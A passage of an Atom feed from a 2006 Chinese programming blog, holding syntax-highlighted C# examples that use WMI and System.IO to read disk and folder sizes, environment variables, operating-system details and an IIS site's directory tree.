		  <summary type="html"><![CDATA[<SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">Disk&nbsp;取得磁盘空间&nbsp;或&nbsp;指定文件夹使用情况</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.IO;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.Management;&nbsp;<BR></SPAN><SPAN style="COLOR: #0000ff">namespace</SPAN><SPAN style="COLOR: #000000">&nbsp;Host.AdminManager.Inc<BR>{<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;summary&gt;</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;Disk&nbsp;的摘要说明。<BR></SPAN><SPAN style="COLOR: #808080">///</SPAN><SPAN style="COLOR: #008000">&nbsp;</SPAN><SPAN style="COLOR: #808080">&lt;/summary&gt;</SPAN><SPAN style="COLOR: #808080"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">class</SPAN><SPAN style="COLOR: #000000">&nbsp;Disk<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;Disk()<BR>{<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">&nbsp;TODO:&nbsp;在此处添加构造函数逻辑<BR></SPAN><SPAN style="COLOR: #008000">//<BR></SPAN><SPAN style="COLOR: #000000">}<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">取得disk大小</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;DiskSize(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;path)<BR>{<BR>ManagementObject&nbsp;size&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;ManagementObject(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">win32_logicaldisk.deviceid=</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">path);<BR>size.Get();&nbsp;<BR>UInt64&nbsp;b&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">1024</SPAN><SPAN style="COLOR: #000000">;<BR>UInt64&nbsp;a&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;(Convert.ToUInt64(size[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Size</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">])</SPAN><SPAN style="COLOR: #000000">/</SPAN><SPAN style="COLOR: #000000">b)</SPAN><SPAN style="COLOR: #000000">/</SPAN><SPAN style="COLOR: #000000">b;<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;a.ToString();<BR>}<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">取得文件夹大小</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;size(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;path,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;utterlyPath&nbsp;,</SPAN><SPAN style="COLOR: #0000ff">out</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000">&nbsp;chang)<BR>{<BR>UInt64&nbsp;t1024&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">1024</SPAN><SPAN style="COLOR: #000000">,&nbsp;t10&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">10</SPAN><SPAN style="COLOR: #000000">;<BR>UInt64&nbsp;v&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;FolderSize(path,utterlyPath);<BR>v&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;v</SPAN><SPAN style="COLOR: #000000">/</SPAN><SPAN style="COLOR: #000000">t1024;<BR>chang&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;Convert.ToInt32(v</SPAN><SPAN style="COLOR: #000000">/</SPAN><SPAN style="COLOR: #000000">t10);<BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;v.ToString();<BR>}<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;UInt64&nbsp;FolderSize(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;path,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;utterlyPath)<BR>{<BR>UInt64&nbsp;Fsize&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">try&nbsp;{</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">Fsize&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;FolderFileSize(path);<BR>DirectoryInfo&nbsp;[]&nbsp;folders&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;(</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;DirectoryInfo(path)).GetDirectories();<BR></SPAN><SPAN style="COLOR: #0000ff">foreach</SPAN><SPAN style="COLOR: #000000">(DirectoryInfo&nbsp;folder&nbsp;</SPAN><SPAN style="COLOR: #0000ff">in</SPAN><SPAN style="COLOR: #000000">&nbsp;folders)<BR>{<BR></SPAN><SPAN style="COLOR: #0000ff">if</SPAN><SPAN style="COLOR: #000000">&nbsp;(folder.FullName&nbsp;</SPAN><SPAN style="COLOR: #000000">!=</SPAN><SPAN style="COLOR: #000000">&nbsp;utterlyPath)<BR>Fsize&nbsp;</SPAN><SPAN style="COLOR: #000000">+=</SPAN><SPAN style="COLOR: #000000">&nbsp;FolderSize(folder.FullName,&nbsp;utterlyPath);<BR>}<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">}<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">catch(Exception&nbsp;ex)<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">{<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">MessageBox.Show(ex.Message);<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">}</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;Fsize;<BR>}&nbsp;<BR><BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;UInt64&nbsp;FolderFileSize(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">&nbsp;path)<BR>{<BR>UInt64&nbsp;size&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">;<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">try<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">{</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">FileInfo&nbsp;[]&nbsp;files&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;(</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;DirectoryInfo(path)).GetFiles();<BR></SPAN><SPAN style="COLOR: #0000ff">foreach</SPAN><SPAN style="COLOR: #000000">(FileInfo&nbsp;file&nbsp;</SPAN><SPAN style="COLOR: #0000ff">in</SPAN><SPAN style="COLOR: #000000">&nbsp;files)<BR>{<BR>size&nbsp;</SPAN><SPAN style="COLOR: #000000">+=</SPAN><SPAN style="COLOR: #000000">&nbsp;(UInt64)file.Length;<BR>}<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">}<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">catch(Exception&nbsp;ex)<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">{<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">MessageBox.Show(ex.Message);<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">}</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">return</SPAN><SPAN style="COLOR: #000000">&nbsp;size;<BR>}<BR>}<BR>}<BR><BR></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=311" /> 
	  <id>http://www.openx.cn/default.asp?id=311</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[C# WMI 编程]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-28T16:49:31+08:00</updated>
	  <published>2006-06-28T16:49:31+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">win32_logicaldisk<BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">导入dll：解决方案&nbsp;==&gt;&nbsp;引用&nbsp;==&gt;&nbsp;添加引用&nbsp;==&gt;&nbsp;COM&nbsp;==&gt;&nbsp;System.Management.dll&nbsp;--C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.Management;<BR></SPAN><SPAN style="COLOR: #0000ff">class</SPAN><SPAN style="COLOR: #000000">&nbsp;disk&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">数据管理对象</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">{<BR>&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">void</SPAN><SPAN style="COLOR: #000000">&nbsp;Main()<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">创建&nbsp;C:&nbsp;的实例</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ManagementObject&nbsp;disk&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;ManagementObject(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">win32_logicaldisk.deviceid=\</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">c:\</SPAN><SPAN style="COLOR: #000000">""</SPAN><SPAN style="COLOR: #000000">);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;disk.Get();&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">磁盘大小</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">disk[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Size</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">]</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">bytes</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">打印C:大小,单位bytes</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">&nbsp;&nbsp;&nbsp;}<BR>}&nbsp;<BR><BR>&nbsp;<BR><BR>确定计算机名称或&nbsp;IP&nbsp;地址是物理计算机还是虚拟&nbsp;IP&nbsp;地址&nbsp;CIMV2:Win32_ComputerSystem<BR>在远程计算机上运行进程&nbsp;CIMV2:Win32_Process<BR>确定远程计算机中是否存在某个目录&nbsp;CIMV2:Win32_Directory&nbsp;<BR>停止</SPAN><SPAN style="COLOR: #000000">/</SPAN><SPAN style="COLOR: #000000">启动&nbsp;IIS&nbsp;System.Diagnostics.Process<BR>将程序集添加到全局程序集缓存&nbsp;(GAC)&nbsp;System.Diagnostics.Process<BR>注册和配置&nbsp;GAM&nbsp;组件&nbsp;COMAdmin&nbsp;目录&nbsp;(COM&nbsp;</SPAN><SPAN style="COLOR: #000000">1.0</SPAN><SPAN style="COLOR: #000000">)&nbsp;<BR>创建&nbsp;Web&nbsp;站点&nbsp;System.DirectoryServices.DirectoryEntry&nbsp;<BR><BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">可以用此方法来选择集合中的部份记录&nbsp;"SELECT&nbsp;*&nbsp;FROM&nbsp;Win32_Service&nbsp;WHERE&nbsp;Name&nbsp;=&nbsp;'ServiceName'",</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000"><BR></SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Win32_LogicalDisk</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;类&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">通过它我们可以查看到本地驱动器</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000"><BR>ManagementObjectSearcher&nbsp;query&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;ManagementObjectSearcher(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">SELECT&nbsp;*&nbsp;From&nbsp;Win32_LogicalDisk&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">查询</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">ManagementObjectCollection&nbsp;queryCollection&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;query.Get();&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">Get获取集合并赋给&nbsp;Collention</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">foreach</SPAN><SPAN style="COLOR: #000000">&nbsp;(&nbsp;ManagementObject&nbsp;mo&nbsp;</SPAN><SPAN style="COLOR: #0000ff">in</SPAN><SPAN style="COLOR: #000000">&nbsp;queryCollection)&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">偏历集合</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">{&nbsp;<BR>&nbsp;&nbsp;&nbsp;Console.WriteLine(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">type:</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">mo[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">DriveType</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].ToString());<BR>&nbsp;&nbsp;&nbsp;sConsole.WriteLine(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Drive:&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;mo[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Name</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">].ToString());&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">打印出所有驱动器</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">}<BR><BR><BR></SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Win32_Environment</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;类&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">环境变量</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.Management;<BR></SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">class</SPAN><SPAN style="COLOR: #000000">&nbsp;EnumerateInstances<BR>{<BR>&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">public</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">void</SPAN><SPAN style="COLOR: #000000">&nbsp;Main()&nbsp;<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SelectQuery&nbsp;query&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;SelectQuery(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Win32_Environment</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ManagementObjectSearcher&nbsp;searcher&nbsp;</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;ManagementObjectSearcher(query);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">foreach</SPAN><SPAN style="COLOR: #000000">&nbsp;(ManagementBaseObject&nbsp;envVar&nbsp;</SPAN><SPAN style="COLOR: #0000ff">in</SPAN><SPAN style="COLOR: #000000">&nbsp;searcher.Get())<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Variable&nbsp;:&nbsp;{0},&nbsp;Value&nbsp;=&nbsp;{1}</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">,envVar[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Name</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">],envVar[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">VariableValue</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">]);<BR>&nbsp;&nbsp;&nbsp;}<BR>}<BR><BR></SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Win32_OperatingSystem</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;类&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">操作系统信息</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #000000">Console.WriteLine(&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">操作系统:&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;mo[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Caption</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">]);<BR>Console.WriteLine(&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">版本号:&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;mo[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Version</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">]);<BR>Console.WriteLine(&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">制造商:&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;mo[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Manufacturer</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">]);<BR>Console.WriteLine(&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">计算机名:&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">mo[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">csname</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">]);<BR>Console.WriteLine(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Windows目录:&nbsp;</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">+</SPAN><SPAN style="COLOR: #000000">&nbsp;mo[</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">WindowsDirectory</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">]);<BR><BR></SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">Win32_Service</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">&nbsp;类&nbsp;</SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">系统服务<BR><BR></SPAN><SPAN style="COLOR: #008000">//</SPAN><SPAN style="COLOR: #008000">输出默认站点的目录结构</SPAN><SPAN style="COLOR: #008000"><BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System;&nbsp;<BR></SPAN><SPAN style="COLOR: #0000ff">using</SPAN><SPAN style="COLOR: #000000">&nbsp;System.DirectoryServices;&nbsp;<BR></SPAN><SPAN style="COLOR: #0000ff">class</SPAN><SPAN style="COLOR: #000000">&nbsp;IISFolderList&nbsp;<BR>{&nbsp;<BR>&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">void</SPAN><SPAN style="COLOR: #000000">&nbsp;ListFolder(DirectoryEntry&nbsp;paraEntry,&nbsp;</SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000">&nbsp;paraIndent)&nbsp;<BR>&nbsp;&nbsp;&nbsp;{&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">for</SPAN><SPAN style="COLOR: #000000">(</SPAN><SPAN style="COLOR: #0000ff">int</SPAN><SPAN style="COLOR: #000000">&nbsp;i</SPAN><SPAN style="COLOR: #000000">=</SPAN><SPAN style="COLOR: #000000">paraIndent;&nbsp;i</SPAN><SPAN style="COLOR: #000000">&gt;</SPAN><SPAN style="COLOR: #000000">0</SPAN><SPAN style="COLOR: #000000">;&nbsp;i</SPAN><SPAN style="COLOR: #000000">--</SPAN><SPAN style="COLOR: #000000">)&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.Write(</SPAN><SPAN style="COLOR: #000000">'</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #000000">'</SPAN><SPAN style="COLOR: #000000">);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Console.WriteLine(paraEntry.Name);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;paraIndent</SPAN><SPAN style="COLOR: #000000">++</SPAN><SPAN style="COLOR: #000000">;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">foreach</SPAN><SPAN style="COLOR: #000000">(DirectoryEntry&nbsp;tempEntry&nbsp;</SPAN><SPAN style="COLOR: #0000ff">in</SPAN><SPAN style="COLOR: #000000">&nbsp;paraEntry.Children)&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListFolder(tempEntry,paraIndent);&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;paraEntry.Dispose();&nbsp;<BR>&nbsp;&nbsp;&nbsp;}&nbsp;<BR>&nbsp;&nbsp;&nbsp;</SPAN><SPAN style="COLOR: #0000ff">static</SPAN><SPAN style="COLOR: #000000">&nbsp;</SPAN><SPAN style="COLOR: #0000ff">void</SPAN><SPAN style="COLOR: #000000">&nbsp;Main(</SPAN><SPAN style="COLOR: #0000ff">string</SPAN><SPAN style="COLOR: #000000">[]&nbsp;args)&nbsp;<BR>&nbsp;&nbsp;&nbsp;{&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ListFolder(</SPAN><SPAN style="COLOR: #0000ff">new</SPAN><SPAN style="COLOR: #000000">&nbsp;DirectoryEntry(</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">IIS://localhost/W3SVC/1/Root</SPAN><SPAN style="COLOR: #000000">"</SPAN><SPAN style="COLOR: #000000">),</SPAN><SPAN style="COLOR: 